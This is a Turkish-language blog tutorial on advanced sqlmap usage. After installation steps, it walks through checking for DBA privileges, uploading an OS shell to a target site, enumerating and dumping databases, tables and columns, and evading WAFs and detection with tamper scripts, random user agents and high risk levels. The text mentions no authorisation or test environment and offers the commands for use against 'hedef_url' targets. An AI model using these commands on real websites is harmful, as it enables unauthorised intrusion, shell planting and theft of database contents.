İleri Düzey SQLmap Kullanımı

  SQLmap nedir ? : Sqlmap, pyhton dilinde geliştirilmiş çok kullanışlı bir Sql enjeksiyon aracıdır. Temel olarak belirlediğiniz parametrelere göre hedef web sitesinde SQL Payload kombinasyonları deneyerek ilgili web sitesini tarar. 

Peki avantajları nelerdir? : 

 Çalıştırmak için sadece birkaç parametre verdikten sonra onlarca açık testi deneyerek ve bulduğu sonuçları depolayarak hedefi sizden daha hızlı tarayabilir. Aynı zamanda, sunucu üzerinde mevcut kullanıcının izinlerine bağlı olarak başka veri tabanı adları vb. bulabilmeniz ve verdiğiniz komutlara göre  sunucuya bir shell kurabilir.



SQLmap Nasıl Kurulur ? : 

Windows İşletim Sistemlerinde ; 

Öncelikle SQLmap'i çalıştırabilmek için sisteminize Python'u kurmanız gerekmektedir buradan indirip kurun. Sonrasında ise Github üzerinden SQLmap dosyasını indirin burdan indirebilirsiniz. Verdiğim linklerden gerekli dosyaları kurduktan sonra SQLmap'i sorunsuz bir şekilde kullanmaya başlayabilirsiniz.

Linux İşletim Sistemlerinde ;

Kali Linux gibi sızma testleri için oluşturulmuş işletim sistemlerinde SQLmap hazır olarak gelmektedir. Diğer Linux işletim sistemlerinde ise, Git komutunu daha önce kurduysanız; 

  • git clone https://github.com/sqlmapproject/sqlmap.git

kurmadıysanız, bu komuttan önce

  • sudo apt-get install git

komutuyla öncelikle Git komutunu kurmanız gerek.

Mac OS İşletim Sisteminde ;

Gördüğüm istatistiklere göre web sitemizi ziyaret eden çok fazla Mac OS işletim sistemli kullanıcı olduğu için Mac OS işletim sisteminde de kurmayı gösteriyorum :)

Öncelikle;

  • ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" < /dev/null 2> /dev/null

Bu komut ile Homebrew'i kurun.
  • brew install sqlmap

sonrasında bu komutu kullanarak SQLmap'i de sisteminize kurabilirsiniz.




SQLmap Kullanımı : 

Şimdi SQLmap kullanmak için gereken her şeyi yaptıktan sonra ileri düzey SQLmap kullanımına geçebiliriz.


Öncelikle Hedef Sitede yazma yetkiniz var mı onu kontrol etme komutunu vererek başlıyorum. Yazma yetkiniz varsa siteye, SQLmap kullanarak Shell sokabilirsiniz.

  • sqlmap -u "hedef_url" -o -b --current-user --is-dba

Resimde görüldüğü üzere "current user is DBA: True"  çıktısını aldığınızda yazma yetkiniz var demektir. "True" yazan yerde "False" yazsaydı yetki yok demektir. 

Yazma yetkisi varsa yani "True" çıktısını veriyorsa shell komutunu girebilirsiniz. 
  • sqlmap -u "hedef_url" -o -b --os-shell

Komutunu girdikten sonra SQLmap Shell upload ettiği dizini verecektir. Tabiki de herzaman verecek diye bir şey yok sitede bir güvenlik sistemi olabilir, ya da başka bir şeyden kaynaklanan hatalar da olabilir.


Şimdi İse Açıklı URL'den Web-Sitenin Veri Tabanını Çekme :

Sitenin veri tabanlarının isimlerini görüntülemek için --dbs parametresini kullanarak bu komutu girin.
  • sqlmap -u "hedef_url" --dbs

Veri tabanı isimlerini görüntüledikten sonra, veri tabanındaki tablo isimlerini görüntülemek için --tables parametresini kullanarak bu komutu girin. 
  • sqlmap -u "hedef_url" -D database_ismi --tables

Veri tabanındaki tabloları görüntüledikten sonra veri tabanındaki kolonları görüntülemek için --columns parametresini kullanarak bu komutu girin.
  • sqlmap -u "hedef_url" -D database_ismi -T tablo_ismi --columns

Veri tabanındaki kolonları görüntüledikten sonra ise istediğimiz kolonun içeriğini --dump parametresini kullanarak bu komutla çekebilirsiniz.
  • sqlmap -u "hedef_url" -D database_ismi -T tablo_ismi -C kolon_ismi --dump

Çekilen tüm veriler SQLmap'in belirttiği dosya yolunda kayıt edilecektir.




Waf Bypass Parametresi :

Waf, web uygulaması güvenlik paneli demektir. SQLmap, sizler için otomatik olarak Waf Bypass parametrelerini kullanarak işlemler yapabilmektedir. SQLmap Waf Bypass için şu komutu girin.
  • sqlmap -u "hedef_url" --dbs --tamper=space2comment

Batch Parametresi :
SQLmap, kullanıcıya yapacağı işlemler sırasında soru sormaktadır, örneğin "Bir payload bulundu teste devam edilsin mi?" gibi, bu parametre ise SQLmap'in kullanıcıya hiç soru sormadan her şeyi kendisinin otomatik yapmasına yarayan komut.
  • sqlmap -u "hedef_url" --dbs --batch

Random-Agent Parametresi : 
SQLmap, bu parametre yardımıyla hedef web-sitesine payload denerken kendi dosyalarında kayıtlı olan user-agentleri kullanır.

  • sqlmap -u "hedef_url" --dbs --random-agent

Level ve Risk Parametreleri :
SQLmap üzerinde bu parametreleri uyguladığınızda veri tabanındaki daha çok payloadı deneyecektir tabiki de bu işlem doğal olarak SQLmap'i yavaşlatacaktır.
  • sqlmap -u "hedef_url" --dbs --level=5 --risk=3

Burada verilen Level ve risk değerini kendiniz, --level değerini 1 ile 5 arası, --risk değerini ise 1 ile 3 arası değiştirebilirsiniz.


Son olarak, en son verdiğim parametreleri durumlara göre bir arada kullanabilirsiniz.

Örneğin;
 
 
  • sqlmap -u "hedef_url" -D database_ismi -T tablo_ismi -C kolon_ismi --dump --tamper=space2comment --batch --random-agent --level=5 --risk=3

Benim verdiğim parametreler en önemli olan parametrelerdi.


  • sqlmap -hh

Tüm parametreleri bu komutu kullanarak görüntüleyebilirsiniz. Aklınıza takılan bir soru olursa sosyal medya hesaplarımdan bana ulaşabilir ya da yorumlar kısmında belirtebilirsiniz.

3 Yorumlar

Yorum Gönder
Daha yeni Daha eski